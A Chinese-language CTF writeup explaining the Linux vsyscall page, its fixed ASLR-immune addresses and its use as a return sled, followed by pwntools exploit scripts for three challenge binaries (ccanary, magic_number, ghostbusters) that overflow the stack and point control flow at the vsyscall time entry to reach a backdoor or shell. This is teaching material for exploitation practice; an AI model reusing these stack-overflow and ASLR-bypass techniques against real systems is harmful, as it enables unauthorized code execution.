vsyscall 介绍

vsyscallvdso 被设计用来加速系统调用的处理

vsyscall 的工作原则其实十分简单:Linux 内核在用户空间映射一个包含一些变量及一些系统调用的实现的内存页。

vsyscallt 特点:

  1. vsyscall页面在每个进程中是静态分配了相同的地址;

  2. 分配的内存较小;

  3. 只允许4个系统调用;

vdso 特点:

  1. 提供和vsyscall相同的功能,同时解决了其局限。

  2. vDSO是动态分配的,地址是随机的;

  3. 可以提供超过4个系统调用;

  4. vDSO是glibc库提供的功能;

vsyscall 地址特性

vsyscall分配的地址固定不变,不受 aslr 和 pie 影响,固定在:

1
ffffffffff600000 - ffffffffffdfffff (=8 MB) vsyscalls

系统 aslr 打开,程序保护全开

image-20210906234518445

vsyscall提供的系统调用

导出 vsyscall

GDB 运行程序,打断后导出内存数据:

1
dump memory ./vsyscall 0xffffffffff600000 0xffffffffff601000

导出 bin 文件用 ida64 打开即可:

image-20210906235231494

vsyscall内容

vsyscall 一共提供 3 个系统调用:

  • #define __NR_gettimeofday 96 //0x60
  • #define __NR_time 201 //0xc9
  • #define __NR_getcpu 309 //0x135

3 个系统调用的地址也是固定的:

基地址:0xffffffffff600000

系统调用 地址
#define VSYSCALL_ADDR_vgettimeofday 0xffffffffff600000
#define VSYSCALL_ADDR_vtime 0xffffffffff600400
#define VSYSCALL_ADDR_vgetcpu 0xffffffffff600800

CTF中作用

当 ret 使用,产生一个类似滑动的效果

2021_allesctf ccanary

保护全开:

image-20210906214505268

存在一个栈溢出,可以覆盖 v6 控制调用的函数:

image-20210906214703806

image-20210906214742237

一开始准备将 v6 覆盖到 system(‘cat flag’) ,但是程序会在写入完成后加上一些东西,无法通过覆盖低字节绕过 pie ,也没有办法泄露出 pie 基地址。

image-20210906215318701

只能想办法将 v7 覆盖成非零值通过 if 判断。

将 v6 覆盖成 vsyscall 的系统调用,该区域的四个系统调用不受 pie 和 alsr 的影响而随机。使用系统调用 sys_time(0xc9) ,可以视为 ret

v7 可以不需要额外写入非零值,因为程序输入会在 payload 后面加上额外东西

image-20210906220619326

image-20210906221219608

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']


p = process("./ccanary")

#gdb.attach(p,"b *$rebase(0x1336)")
#raw_input()

payload = b'a'*0x1f
payload += p64(0xffffffffff600400)
# p.sendlineafter("> ",payload)
p.sendline(payload)



p.interactive()

2020_DASCTF 8月赛 magic_number

保护全开,栈溢出漏洞,有后门

image-20210907152227104

利用 vsyscall 滑动将 rip 往后滑动到后门地址,后门地址是利用栈上遗留的数据,通过 partly write 覆盖写出来的

image-20210907152316789

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

p = process("./magic_number")

# gdb.attach(p,'b *$rebase(0xAE0)')
# raw_input()

vsyscall = 0xFFFFFFFFFF600400
payload = 'a'*0x38 + p64(vsyscall)*4 + '\xa8'
p.send(payload)

p.interactive()

2020_DamCTF ghostbusters

可以调用任意地址的函数,返回值实际上是放在 v7

通过调用 vsyscall 的 sys_time 爆破返回值为 121 时 getshell

image-20210907171426594

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

# gdb.attach(p,'b *$rebase(0x68C)')
# raw_input()

def pwn():
vsyscall = 0xffffffffff600400
p.sendline(hex(vsyscall)[2:])
p.sendline('cat flag')
print(p.recv())
# p.interactive()
exit()

if(__name__=="__main__"):
while 1:
try:
p = process("./ghostbusters")
pwn()
break
except:
p.close()
continue

参考文章